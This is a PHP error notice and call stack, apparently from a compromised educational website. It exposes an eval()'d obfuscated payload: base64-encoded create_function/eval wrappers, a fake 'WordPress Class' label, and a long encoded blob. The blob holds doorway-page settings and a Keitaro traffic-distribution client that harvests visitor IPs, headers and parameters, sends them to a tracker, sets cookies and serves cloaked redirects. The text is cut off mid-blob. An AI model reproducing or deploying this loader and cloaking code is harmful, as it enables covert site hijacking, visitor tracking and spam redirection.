( ! ) Notice: Undefined offset: 2 in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 739
Call Stack
#TimeMemoryFunctionLocation
10.0003362320{main}( ).../bqpj.php:0
20.0012420984__lambda_func( ).../bqpj.php:145
30.0015497616eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQoJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1d